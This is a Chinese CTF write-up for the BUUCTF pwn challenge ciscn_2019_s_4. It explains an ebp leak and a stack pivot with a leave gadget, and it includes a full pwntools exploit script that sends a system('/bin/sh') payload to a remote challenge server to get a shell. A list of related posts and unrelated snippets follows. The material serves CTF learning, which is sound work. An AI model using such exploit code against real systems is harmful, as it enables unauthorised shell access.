[BUUCTF]PWN——ciscn_2019_s_4
ciscn_2019_s_4
步骤:
- 例行检查,32位程序,开启了nx保护

- 本地试运行一下,看看大概的情况,两次输入,让人联想到栈迁移

- 32位ida载入,找到关键函数,只可以溢出8字节,没法构造太长的rop,

程序最后是用leave和retn还原现场的,首先想到的就是栈迁移

leave实质 上是move esp,ebp和pop ebp,将栈底地址赋给栈顶,然后在重新设置栈底地址,我的理解是重新开栈
retn实质上是pop rip,设置下一条执行指令的地址
利用思路
- 利用第一个输入点来泄露ebp的值,动调找一下buf在栈上的位置,用ebp去表示
- 第二个输入点输入system(/bin/sh),利用两次leave将栈迁移到buf处,执行buf里的指令,获取shell
利用过程
- 首先是利用第一个i输入点来泄露ebp的值
payload='a'*0x24+'bbbb'
p.recvuntil('name?')
p.send(payload)
p.recvuntil('bbbb')
ebp=u32(p.recv(4).ljust(4,'\x00'))
- 动调看一下ebp和buf的位置距离,用ebp去表示buf

ebp的地址是0xffecdee8,buf的地址是0xffecdeb0,两者相差0x38,我们可以用ebp-0x38来表示buf的地址 - 现在到了第二个输入点,我们要往buf里写入system(‘/bin/sh’),并将栈劫持回buf地址,执行指令获取shell
payload=(p32(sys_addr)+'aaaa'+p32(buf+12)+'/bin/sh\x00').ljust(0x28,'a')+p32(buf-4)+p32(leave)
由于程序里执行过system,所以可以直接利用system函数的地址,
(p32(sys_addr)+'aaaa'+p32(buf+12)+'/bin/sh\x00').ljust(0x28,'a')这个是用来填充buf的,先看后面的p32(buf-4)+p32(leave)
p32(buf-4),将ebp覆盖成了buf地址-4,-4是因为没执行一条指令后,eip会自动+4,
p32(levae),将返回地址覆盖成了leave
看一下执行完后这条指令后,栈的布局

现在执行返回指令里的leave指令
move esp,ebp

pop ebp

现在执行程序里原有的leave
move esp,ebp

pop ebp

reten,pop eip

到这里,我们成功将栈劫持到了我们的buf处,接下来就会执行栈里的内容,先是执行system函数,eip+4,eip就指向了/bin/sh,system里传入了参数bin/sh,执行了system(/bin/sh),获取了shell
完整exp:
from pwn import *
p=remote('node3.buuoj.cn',26531)
#p=process('./ciscn_s_4')
context.log_level='debug'
sys_addr=0x8048400
leave=0x080484b8
payload='a'*0x24+'bbbb'
p.recvuntil('name?')
p.send(payload)
p.recvuntil('bbbb')
ebp=u32(p.recv(4).ljust(4,'\x00'))
#gdb.attach(p)
print 'ebp='+hex(ebp)
buf=ebp-0x38
payload=(p32(sys_addr)+'aaaa'+p32(buf+12)+'/bin/sh\x00').ljust(0x28,'a')+p32(buf-4)+p32(leave)
p.send(payload)
#gdb.attach(p)
p.interactive()

为了方便看,我是从上往下开栈的,实质上是从下往上开栈的
[BUUCTF]PWN——ciscn_2019_s_4的更多相关文章
- [BUUCTF]PWN——babyheap_0ctf_2017
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- BUUCTF pwn一分题目
因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...
- [BUUCTF]PWN——hitcontraining_uaf
[BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...
- BUUCTF PWN部分题目wp
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
- buuctf --pwn part2
pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...
- buuctf pwn wp---part1
pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...
- [BUUCTF]PWN——pwnable_hacknote
pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...
- [BUUCTF]PWN——ciscn_2019_es_7[详解]
ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...
随机推荐
- 关于如何在MyEclipse下修改项目名包名,以及类
1.修改项目名,右键选择properties->web->web-Context-root修改名称或者直接按F2修改.2,修改包名,右键选择Refactor->rename修改名称即 ...
- [loj2461]完美的队列
参考论文,这里一共写了论文中的3种做法,第一种做法为强制在线时的做法,第二种为时间复杂度略高的做法(前两种都无法通过),第三种为本题正解,并给出了一种理论复杂度更优的做法 1.做法1 情况1 $\fo ...
- [gym102770L]List of Products
有一个很重要的性质:若$a\le b$且$c\le d$,则$ac\le bd$ 根据这一性质,就可以利用单调性$o(n)$求出小于$a_{x}\cdot b_{y}$的数的个数(先要对$a$和$b$ ...
- [nowcoder5667H]Happy Triangle
可以发现合法的答案有两种可能: 1.询问的$x$即为最大值(或之一),那么只需要找到x前两个数并判断即可 2.询问的$x$不是最大值,那么就要保证另外两边之差小于$x$,维护后缀中$的前驱k-k的前驱 ...
- Taro 3.4 beta 发布: 支持 Preact 为应用开辟更多体积空间
项目体积是困扰小程序开发者的一大问题,如果开发者使用 Taro React 进行开发,更是不得不引入接近 100K 的 React 相关依赖,这让项目体积变得更加捉襟见肘.因此,Taro v3.4 的 ...
- mybatis源码分析二
这次分析mybatis的xml文件 1. <?xml version="1.0" encoding="UTF-8" ?> <configura ...
- 常见HTTP请求错误码
一些常见的状态码为: 200 - 服务器成功返回网页404 - 请求的网页不存在503 - 服务不可用详细分解: 1xx(临时响应)表示临时响应并需要请求者继续执行操作的状态代码. 代码 说明100 ...
- [Codeforces Global Round 14]
打挺差的. 不过\(C,D\)一眼秒了,大概是对这几个月努力的一个结果? \(B\)玄学错误挂了两发. 脑子痛然后打到一半就去睡觉了. -------------------------------- ...
- FESTUNG — 3. 采用 HDG 方法求解对流问题
FESTUNG - 3. 采用 HDG 方法求解对流问题[1] 1. 控制方程 线性对流问题控制方程为 \[\begin{array}{ll} \partial_t c + \nabla \cdot ...
- python10-高阶函数
def use_filer(l): """ 获取指定列表/元组中的奇数 :param l: lsit/tuple :return: """ ...